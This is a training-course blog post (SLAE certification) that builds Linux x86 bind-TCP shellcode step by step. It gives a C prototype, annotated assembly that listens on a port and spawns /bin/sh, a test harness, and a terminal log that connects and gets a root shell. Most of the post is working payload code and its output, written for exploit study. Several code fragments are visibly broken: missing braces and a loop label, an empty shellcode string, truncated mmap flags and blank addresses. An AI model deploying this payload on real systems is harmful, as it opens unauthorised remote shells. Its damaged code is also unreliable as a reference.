As part of the SecurityTube SLAE course, I’m going to create a series of shellcodes and document the process. The first task is to create a simple shell bind tcp that spawns a shell on connect, with a port that is easily configurable. Firstly, I wrote out in C what I was hoping to achieve:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>

int main(void)
        int clientfd, sockfd;
        int dstport = 4444;
        int o = 1;
        struct sockaddr_in mysockaddr;

        sockfd = socket(AF_INET, SOCK_STREAM, 0);
        //setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &o, sizeof(o)); //a luxury we don't have space for

        mysockaddr.sin_family = AF_INET; //2
        mysockaddr.sin_port = htons(dstport);
        mysockaddr.sin_addr.s_addr = INADDR_ANY; //0

        bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr));

        listen(sockfd, 0);

        clientfd = accept(sockfd, NULL, NULL);

        dup2(clientfd, 0);
        dup2(clientfd, 1);
        dup2(clientfd, 2);

        execve("/bin/sh", NULL, NULL);
        return 0;

Now to attempt to reproduce this in assembly. We first need to find out the system call numbers for the calls that we are using:
dup2: 63 (0x42)
socketcall 102 (0x66): socket: 1
//socketcall 102: setsockopt: 14 (0xe)
socketcall 102: bind: 2
socketcall 102: listen: 4
socketcall 102: accept: 5
execve: 11

Here is my optimized assembly version:

; Title Linux Shell Bind TCP Shellcode v0.1
; Author npn <npn at iodigitalsec dot com>
; License
; Legitimate use and research only
; This program is distributed in the hope that it will be useful,
; but WITHOUT ANY WARRANTY; without even the implied warranty of

global _start

section .text

xor ebx, ebx	;clear ebx
mul ebx		;clear eax
mov al, 0x66 	;syscall socketcall
push ebx	;tcp is 6 but 0 is fine
inc bl 		;ebx = 1; socket
push ebx	;sock_stream
push byte 0x2	;af_inet
mov ecx, esp	;move pointer to args to ecx
int 0x80	;socket()
mov edi,eax 	;int socketfd

push byte 0x66	;better than xor eax, eax
pop eax		;mov al, 0x66
pop ebx		;take the 2 off the stack for bind()
pop esi		;discard the 0x1 on the stack into esi so the top of the stack is now the 0x0
push word 0xf00d;portno
push word bx 	;2 = af_inet
mov ecx, esp	;pointer to args
push byte 0x10	;addrlen
push ecx	;const struct sockaddr *addr
push edi	;sockfd from socket
mov ecx, esp 	;pointer to args
int 0x80	;go

push byte 0x66
pop eax
add ebx, ebx	;2+2=4 listen
push byte 0x1	;backlog
push edi	;int sockfd
mov ecx, esp 	;pointer to args
int 0x80	;listen()

push byte 0x66
pop eax
inc ebx		;5 accept
xor edx, edx
push edx 	;0
push edx 	;null
push edi 	;sockfd
mov ecx, esp 	;pointer to args
int 0x80

xchg eax, ebx	;set ebx to sockfd, eax to 00000005
xor ecx, ecx
mov cl, 0x2	;loop counter
	mov al, 0x3f ;dup2
	int 0x80
	dec ecx
	jns dup2

xor eax, eax
push eax
push 0x68732f2f ;"sh//"
push 0x6e69622f ;"nib/"
mov ebx, esp
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 0xb	;execve
int 0x80

The shellcode is 101 bytes in length. To change the bind port number, edit the “\x0d\xf0” bytes below.


We can confirm the code as follows:

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();

char shellcode[] = \

int main(int argc, char **argv) {

    char *ptr = mmap(0, sizeof(shellcode),
            | MAP_PRIVATE, -1, 0);

    if (ptr == MAP_FAILED) {

    memcpy(ptr, shellcode, sizeof(shellcode));
    sc = (int(*)())ptr;


    return 0;
root@bt:~/pen/docs/securitytube/slae/code# gcc -z execstack -fno-stack-protector -D_FORTIFY_SOURCE shellcodetest.c -o shellcodetest
root@bt:~/pen/docs/securitytube/slae/code# ./shellcodetest &
[1] 31325
root@bt:~/pen/docs/securitytube/slae/code# lsof|grep shellcode|grep -i listen
shellcode 31325       root    3u     IPv4    1520366       0t0        TCP *:3568 (LISTEN)

root@bt:~/pen/docs/securitytube/slae/code# telnet 3568
Connected to
Escape character is '^]'.
uid=0(root) gid=0(root) groups=0(root)
: command not found
uname -a;
Linux bt 3.2.6 #1 SMP Fri Feb 17 10:40:05 EST 2012 i686 GNU/Linux
: command not found
ls ~/;

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-158